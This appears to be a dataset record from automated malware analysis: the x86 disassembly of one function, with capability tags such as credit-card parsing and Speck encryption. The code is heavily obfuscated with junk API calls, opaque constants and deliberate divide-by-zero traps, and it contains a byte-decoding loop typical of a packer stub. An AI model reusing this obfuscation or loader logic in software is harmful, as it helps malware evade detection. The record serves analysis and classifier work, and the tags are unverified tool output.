Function at 0x402278
Capabilities:
Encrypt data using speck
Get common file path
Get disk size
Get file attributes
Parse credit card information
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov di, word [ebp + 0x14]
cmp di, 0x1f
je 0x4022fe
cmp di, 0x4e
jbe 0x4022fe
cmp di, 0x2a
je 0x4022fe
cmp di, 0x5e
jae 0x4022ba
movzx eax, di
xor edx, edx
xor ecx, ecx
div ecx
imul eax, dword [ebp + 0x18]
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x4022fe
cmp di, 0x4c
jae 0x4022ef
mov eax, dword [ebp + 0x18]
xor edx, edx
xor ecx, ecx
mov esi, 0x154
div ecx
mov ecx, 0x21d
xor edx, edx
imul eax, ebx
sub ecx, eax
mov eax, ebx
div esi
sub edx, 0x1ae
and ecx, edx
push ecx
call dword [sym.imp.KERNEL32.dll_HeapLock]
jmp 0x4022fe
cmp di, 0xb5ef
jne 0x4022fe
mov eax, 0x43eab1
mov dword [ebp - 0xc], eax
add dword [ebp - 0xc], 0x1e1f
mov esi, dword [ebp + 0xc]
cmp ebx, 0xbe7b
jne 0x402318
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x20], eax
jmp 0x402358
cmp ebx, 0x3a
je 0x402358
test ebx, ebx
jne 0x402358
movzx ecx, di
mov eax, 0x199
xor edx, edx
div ecx
xor edx, edx
mov edi, eax
mov eax, dword [ebp + 0x18]
xor edi, 0x318
add eax, esi
or edi, eax
mov eax, esi
or edi, ecx
xor ecx, ecx
div ecx
xor edi, 0x103
or dl, 0xc0
or edi, edx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x41
jae 0x402389
push dword [ebp + 8]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_RemovePropA]
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0x18]
xor esi, 0x57
mov dword [ebp - 0x14], eax
cmp esi, 0x5a
je 0x4023c2
cmp esi, 0x3e
je 0x4023c2
cmp esi, 0x2e
jae 0x4023ad
add esi, 0x3c
jmp 0x4023c2
cmp esi, 0x827d
jne 0x40239b
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
jmp 0x402369
cmp esi, 0x41
jbe 0x402369
cmp esi, 0xb
jae 0x402369
mov eax, dword [ebp + 0x18]
jmp 0x402c67
cmp esi, 8
jb 0x4023c2
cmp esi, 0xf385
jne 0x4023c2
mov eax, 0x43c757
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
xor edx, edx
div eax
mov eax, dword [ebp + 0xc]
mov cl, al
add cl, 0xf
mov ebx, edx
add bl, byte [ebp + 8]
or bl, cl
cmp bl, 0x5b
mov byte [ebp - 6], bl
jb 0x40242f
cmp bl, 0x4a
jae 0x4023f3
push dword [ebp + 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
jmp 0x40242f
cmp bl, 0xde
jne 0x402426
mov ecx, dword [ebp + 0x10]
movzx eax, word [ebp + 0x14]
imul ecx, ecx, 0xc2
sub eax, dword [ebp + 8]
and ecx, 0x1a1
sub eax, 0x336
xor eax, esi
or eax, ecx
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax + 0xd0bd]
mov dword [ebp - 0xc], eax
jmp 0x40242f
cmp bl, 0x20
jb 0x402c67
mov edi, dword [ebp - 0xc]
movzx eax, bl
mov dword [ebp - 0x20], eax
xor eax, 0xdc2e3
cmp bl, 0xde
mov dword [ebp - 0x28], eax
jne 0x40244c
mov dword [ebp - 0xc], 0x79bc
mov esi, dword [edi]
sub esi, dword [ebp - 0xc]
je 0x402609
mov eax, 0x96
xor edx, edx
div dword [ebp + 8]
mov al, byte [ebp + 0x14]
sub al, dl
sub al, byte [ebp + 0x18]
mov byte [ebp - 5], al
jmp 0x402471
mov al, byte [ebp - 5]
cmp dword [ebp + 0x10], 0xbe7b
mov byte [ebp - 3], al
jne 0x402482
mov dword [ebp - 0x10], esi
jmp 0x4024a5
cmp dword [ebp + 0x10], 0x4d
jne 0x40249b
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 0x8a
div ecx
add al, 0x70
mov byte [ebp - 3], al
jmp 0x4024a5
cmp dword [ebp + 0x10], 0x34
jb 0x402c6c
mov eax, dword [edi + 4]
and dword [ebp - 0x1c], 0
sub eax, dword [ebp - 0xc]
je 0x402512
mov esi, dword [ebp + 0x18]
mov ebx, dword [ebp - 0x18]
imul esi, esi, 0x2dc
mov eax, dword [ebp - 0x10]
xor esi, 0x348
or esi, 0x84
sub eax, ebx
mov dword [ebp - 0x24], eax
jmp 0x4024d6
mov eax, dword [ebp - 0x24]
cmp dword [ebp + 0x18], 0xf76
jne 0x402503
cmp dword [ebp + 0x10], 0xbe7b
jne 0x4024ef
mov al, byte [eax + ebx]
mov byte [ebx], al
jmp 0x402503
cmp dword [ebp + 0x10], 0x5f
jbe 0x402503
cmp dword [ebp + 0x10], 0x57
jae 0x402503
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov eax, dword [edi + 4]
inc dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
inc ebx
cmp dword [ebp - 0x1c], eax
jb 0x4024d3
mov esi, dword [ebp + 0xc]
imul esi, esi, 0x25f
xor esi, 0x11d
cmp si, 0x61
ja 0x40253c
movzx eax, byte [ebp - 3]
and eax, 0x2a6
or eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x402568
cmp si, 0x677e
jne 0x40254e
mov eax, dword [edi + 4]
sub eax, dword [ebp - 0xc]
add dword [ebp - 0x18], eax
jmp 0x402568
cmp si, 0x19
jb 0x402568
cmp si, 0xb
jbe 0x402616
cmp si, 0x5f
je 0x402c7b
mov cx, word [ebp + 0x14]
cmp cx, 0x35
je 0x402616
cmp cx, 0x57
jbe 0x4025f8
cmp cx, 0x1b
jb 0x4025f8
mov eax, 0xb5ef
cmp cx, ax
jne 0x4025f8
mov ecx, dword [ebp + 0x18]
cmp ecx, 0x42
jne 0x40259d
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x4025f8
cmp ecx, 0xb
jb 0x402c67
cmp ecx, 0x33
jae 0x4025bf
movzx eax, byte [ebp - 3]
push eax
push eax
movzx ax, byte [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
jmp 0x4025f8
cmp ecx, 0x51
je 0x4025f8
cmp ecx, 0xf76
jne 0x4025f8
cmp dword [ebp + 8], 0x41
jb 0x4025f8
cmp dword [ebp + 8], 0xf3d2
jne 0x4025f8
movzx eax, si
lea ecx, [eax + 0x48fba]
add eax, 0xf3d2
xor ecx, 0x29e
or ecx, eax
lea edi, [edi + ecx*4 - 0x17ffd0]
mov esi, dword [edi]
sub esi, dword [ebp - 0xc]
jne 0x40246e
mov eax, dword [ebp - 0x28]
mov bl, byte [ebp - 6]
cmp eax, 0x2b
ja 0x40261e
mov eax, dword [ebp - 0x20]
jmp 0x402c67
movzx eax, si
jmp 0x402c67
cmp eax, 0xdc23d
jne 0x40264f
cmp dword [ebp + 0x10], 0x4e
jne 0x40263a
push 1
xor edx, edx
pop eax
div dword [ebp + 8]
xor edx, edx
div dword [ebp - 0x20]
jmp 0x40264f
cmp dword [ebp + 0x10], 0x3f
je 0x40264f
cmp dword [ebp + 0x10], 0xbe7b
jne 0x40264f
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
xor edx, edx
mov ecx, dword [ebp + 0x10]
div dword [ebp + 8]
sub ecx, eax
sub ecx, 0xed
xor ecx, dword [ebp + 0x18]
xor ecx, 0x1ae
cmp dword [ebp + 0x10], 0x4a
je 0x4026aa
cmp dword [ebp + 0x10], 3
ja 0x40269a
mov eax, ecx
xor edx, edx
imul eax, eax, 0x30d
div dword [ebp - 0x20]
xor edx, edx
mov esi, 0x243
div esi
mov al, byte [ebp + 0x14]
xor al, 0x11
mov ebx, edx
or bl, al
or bl, cl
mov byte [ebp - 6], bl
jmp 0x4026aa
cmp dword [ebp + 0x10], 0xbe7b
jne 0x4026aa
mov dword [ebp - 0xc], 0x22d40
and dword [ebp - 0x20], 0
cmp dword [ebp - 0xc], 0
jbe 0x402c64
mov eax, dword [ebp + 8]
xor edx, edx
div eax
mov al, byte [ebp + 0x10]
mov cl, 0x62
imul cl
sub dl, al
mov al, byte [ebp + 0xc]
add dl, 0x7c
add al, 6
mov byte [ebp - 7], dl
mov byte [ebp - 8], al
mov cl, byte [ebp - 7]
mov al, byte [ebp - 8]
cmp dword [ebp + 0x10], 0x43
mov byte [ebp - 3], cl
mov byte [ebp - 1], al
jne 0x402700
movzx eax, cl
imul eax, dword [ebp + 0x18]
xor edx, edx
mov ecx, 0x16b
div ecx
xor dl, 0x4d
mov byte [ebp - 1], dl
jmp 0x402743
cmp dword [ebp + 0x10], 8
jne 0x402718
and al, 7
mov cl, byte [ebp + 0x18]
imul byte [ebp + 0x18]
add cl, 0xf
or al, cl
mov byte [ebp - 3], al
jmp 0x402743
cmp dword [ebp + 0x10], 0xbe7b
jne 0x402743
movzx eax, al
movzx ecx, word [ebp + 0x14]
imul eax, eax, 0x407a
xor edx, edx
div ecx
mov ecx, dword [ebp - 0x14]
mov al, byte [eax + ecx - 0x2e]
push eax
call fcn.00403536
pop ecx
mov byte [ebp - 4], al
mov al, byte [ebp - 3]
mov cl, 0x6a
imul cl
mov bl, 0xc6
sub bl, al
mov al, byte [ebp - 1]
cmp al, 0x25
jae 0x402769
mov eax, 0x1b5
xor edx, edx
div dword [ebp + 0xc]
mov ebx, edx
or bl, byte [ebp + 0x18]
or bl, byte [ebp - 3]
jmp 0x4027ca
cmp al, 0x3b
jb 0x402c6c
cmp al, 4
jae 0x40277c
mov bl, byte [ebp + 0x14]
xor bl, al
jmp 0x4027ca
cmp al, 0x1c
ja 0x402792
mov bl, byte [ebp + 0xc]
xor al, 0x37
add bl, byte [ebp + 8]
add bl, 0x59
xor bl, 0x74
or bl, al
jmp 0x4027ca
cmp al, 0x83
jne 0x4027ca
movzx ecx, word [ebp + 0x14]
mov eax, 0x2b3
xor edx, edx
div ecx
mov edx, dword [ebp + 0x10]
sub edx, dword [ebp + 0x18]
mov ecx, eax
mov eax, 0x165
or ecx, eax
or edx, eax
mov eax, dword [ebp - 0x14]
and ecx, edx
mov al, byte [ecx + eax - 0x164]
push eax
call fcn.00403536
pop ecx
mov byte [ebp - 5], al
mov ecx, dword [ebp + 8]
xor edx, edx
mov eax, ecx
mov esi, 0xa8
div esi
mov eax, dword [ebp + 0x10]
mov esi, 0xbe7b
and dl, 0x6b
cmp eax, esi
mov byte [ebp - 1], dl
jne 0x40289c
cmp dword [ebp + 0xc], 0x827d
jne 0x4028cf
cmp ecx, 0x49
je 0x402c7b
cmp ecx, 0x30
jb 0x402c71
cmp ecx, 0x5f
jae 0x40281f
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
jmp 0x4028cf
cmp ecx, 0xf3d2
jne 0x40288a
movzx eax, bl
movzx ebx, word [ebp + 0x14]
mov cl, al
mov dl, byte [ebp - 5]
add cl, 0x78
and al, 0xd2
xor cl, bl
or cl, al
mov al, byte [ebp - 4]
add cl, 0x15
shr dl, cl
movzx ecx, byte [ebp - 3]
xor ecx, 0x94
sub ecx, 0xf0
shl al, cl
mov ecx, 0x207
or dl, al
movzx eax, byte [ebp - 1]
mov byte [ebp - 2], dl
xor edx, edx
div ecx
xor edx, edx
mov ecx, eax
mov eax, 0x8f
div ebx
mov dl, byte [ebp - 2]
and ecx, 0x1be
xor ecx, eax
mov eax, dword [ebp - 0x10]
xor ecx, 1
mov byte [ecx + eax - 1], dl
jmp 0x4028cf
cmp ecx, 0x33
jae 0x4028cf
mov eax, dword [ebp + 0x18]
shr eax, 2
sub al, 0x3e
mov byte [ebp - 1], al
jmp 0x4028cf
cmp eax, 0x56
jae 0x4028a7
mov al, cl
add al, 0x30
jmp 0x402897
cmp eax, 0x40
jne 0x4028ba
movzx eax, byte [ebp - 1]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCommModemStatus]
jmp 0x4028cf
cmp eax, 0x4c
jne 0x4028cf
push 0x22
xor edx, edx
pop eax
div dword [ebp + 0x18]
mov al, byte [ebp + 0x18]
sub al, dl
mov byte [ebp - 3], al
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 0x365
div ecx
mov eax, dword [ebp + 8]
or dl, 0x71
cmp eax, 4
mov byte [ebp - 2], dl
ja 0x40290c
movzx ecx, byte [ebp - 3]
mov eax, 0x2d6
xor edx, edx
div ecx
mov ecx, 0x34f
mov eax, edx
xor edx, edx
div ecx
sub dl, byte [ebp + 0x18]
add dl, 0x65
or byte [ebp - 1], dl
jmp 0x402977
cmp eax, 0x2c
jbe 0x402977
cmp eax, 0x14
jne 0x402923
movzx eax, byte [ebp - 1]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x402977
cmp eax, 0x28
jb 0x402977
cmp eax, 0xf3d2
jne 0x402977
cmp dword [ebp + 0x18], 0xf76
jne 0x402955
cmp byte [ebp - 1], 0x4a
jne 0x402977
cmp dword [ebp + 0x10], esi
jne 0x402977
mov eax, dword [ebp - 0x14]
mov al, byte [eax + 2]
push eax
call fcn.00403536
pop ecx
mov byte [ebp - 4], al
jmp 0x402977
cmp dword [ebp + 0x18], 0x19
jae 0x402977
push 5
xor edx, edx
pop eax
div dword [ebp + 0x10]
lea ecx, [eax - 0x342]
add eax, 0xfffffcbe
push ecx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov ecx, dword [ebp + 8]
xor edx, edx
mov eax, ecx
mov edi, 0x213
div edi
mov ebx, eax
and bl, byte [ebp - 1]
cmp ecx, 0x34
jae 0x40299c
mov al, byte [ebp + 0x18]
and al, 0x2a
mov byte [ebp - 2], al
jmp 0x402a3e
cmp ecx, 0x2f
jb 0x402c77
cmp ecx, 0x1c
jne 0x4029c7
movzx eax, bl
push 0x19
xor edx, edx
pop ecx
div ecx
xor edx, edx
mov ecx, 0x27b
div ecx
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
jmp 0x402a3e
cmp ecx, 0x25
jae 0x4029dc
sub cl, bl
and cl, byte [ebp - 2]
xor cl, 0xf7
or cl, 0xe5
mov byte [ebp - 2], cl
jmp 0x402a3e
cmp ecx, 0x28
je 0x402c7b
cmp ecx, 0xf3d2
jne 0x402a3e
movzx eax, word [ebp + 0x14]
xor edx, edx
mov ecx, 0x1bd
div ecx
mov al, byte [ebp - 4]
mov ecx, edx
and cl, 0xf4
or cl, 0xe4
add cl, 0x1e
shr al, cl
mov ecx, dword [ebp + 0xc]
imul ecx, ecx, 0x14b7178
movzx edx, bl
xor ecx, edx
mov dl, byte [ebp - 5]
xor ecx, dword [ebp + 0xc]
add ecx, 0xe8a2a5f
shl dl, cl
mov ecx, dword [ebp + 0x10]
imul ecx, ecx, 0x197
or al, dl
mov edx, dword [ebp - 0x10]
or cl, 0xa4
mov byte [ecx + edx - 0x12ed5ac], al
mov al, byte [ebp - 2]
mov cl, 0x6b
imul cl
mov ecx, dword [ebp + 0x18]
mov bl, al
sub bl, 0x50
cmp ecx, 0x47
jae 0x402a7f
movzx edi, byte [ebp - 2]
mov eax, 0x12d
xor edx, edx
div edi
mov eax, 0x24e
add dl, cl
add dl, 0x31
movzx ecx, bl
mov dword [ebp - 0x28], edx
xor edx, edx
div ecx
mov eax, dword [ebp - 0x28]
or al, dl
mov bl, al
jmp 0x402b22
cmp ecx, 0xa
jb 0x402b22
cmp ecx, 0x43
jne 0x402ab7
mov eax, dword [ebp + 8]
xor edx, edx
mov ecx, 0x3dc
div ecx
xor edx, edx
mov ecx, eax
mov eax, dword [ebp + 0xc]
div eax
add ecx, 0x3e6
and ecx, eax
push ecx
push ecx
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
jmp 0x402b22
mov edi, 0xf76
cmp ecx, edi
jne 0x402b22
cmp dword [ebp + 0x10], esi
jne 0x402b08
cmp dword [ebp + 8], 0xf3d2
jne 0x402b22
cmp byte [ebp - 2], 0x7f
jne 0x402b22
movzx ecx, byte [ebp - 1]
mov eax, 0x87
xor edx, edx
div ecx
movzx edi, word [ebp + 0x14]
xor edx, edx
mov ecx, eax
mov eax, 0x357
div edi
mov eax, dword [ebp - 0x14]
add eax, ecx
mov al, byte [edx + eax - 0x355]
push eax
call fcn.00403536
pop ecx
mov byte [ebp - 5], al
jmp 0x402b22
cmp dword [ebp + 0x10], 0x19
jne 0x402b22
movzx eax, word [ebp + 0x14]
xor edx, edx
div edi
mov al, byte [ebp - 2]
sub al, 0x15
mov ebx, edx
xor bl, al
xor bl, 0x50
cmp dword [ebp + 0xc], 0x827d
jne 0x402bdc
mov ecx, dword [ebp + 0x10]
cmp ecx, 2
jae 0x402b54
movzx eax, byte [ebp - 2]
xor edx, edx
mov edi, 0x1a1
div edi
mov dl, 0x18
add cl, byte [ebp + 0x14]
imul dl
mov bl, al
xor bl, cl
jmp 0x402bdc
cmp ecx, 0x5d
jbe 0x402c7b
cmp ecx, 0x17
jne 0x402b88
movzx edx, bl
mov eax, 0xfffffeb4
mov edi, 0x3bb
sub eax, edx
mov ecx, 0xfffffeb4
and eax, edi
sub ecx, edx
and ecx, edi
push eax
push eax
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
jmp 0x402bdc
cmp ecx, 0x1b
jae 0x402b9d
mov eax, dword [ebp + 0x10]
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetProfileStringA]
jmp 0x402bdc
cmp ecx, esi
jne 0x402bdc
mov eax, dword [ebp + 8]
xor edx, edx
mov ecx, 0x184
div ecx
mov eax, 0x359
mov ecx, edx
mov dl, byte [ebp - 4]
or ecx, 0x7d
or ecx, dword [ebp + 0x18]
sub ecx, 0xf79
shl dl, cl
or dl, byte [ebp - 5]
mov cl, dl
xor edx, edx
div dword [ebp + 8]
mov eax, dword [ebp - 0x10]
xor edx, 0x368
mov byte [edx + eax - 0x2f], cl
cmp bl, 0xc5
jne 0x402c0d
mov eax, dword [ebp + 0x10]
xor edx, edx
mov ecx, 0x25c
div ecx
mov eax, dword [ebp + 0x18]
and eax, 0xba
xor edx, eax
movzx eax, byte [ebp + 0x18]
xor eax, 0x68
or edx, eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + edx - 0x19c]
mov dword [ebp - 0x10], eax
cmp byte [ebp - 2], 0x7f
jne 0x402c51
mov eax, dword [ebp + 0x10]
cmp eax, 0x29
je 0x402c51
cmp eax, 0x58
je 0x402c51
cmp eax, 0x20
jbe 0x402c51
cmp eax, 7
ja 0x402c34
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x402c51
cmp eax, esi
jne 0x402c51
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 0x240
div ecx
mov eax, dword [ebp - 0x14]
lea eax, [eax + edx - 0x239]
mov dword [ebp - 0x14], eax
add dword [ebp - 0x20], 4
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0xc]
jb 0x4026d6
mov bl, byte [ebp - 6]
movzx eax, bl
pop edi
pop esi
pop ebx
leave
ret
movzx eax, al
jmp 0x402c67
movzx eax, byte [ebp - 3]
jmp 0x402c67
mov eax, ecx
jmp 0x402c67
movzx eax, word [ebp + 0x14]
jmp 0x402c67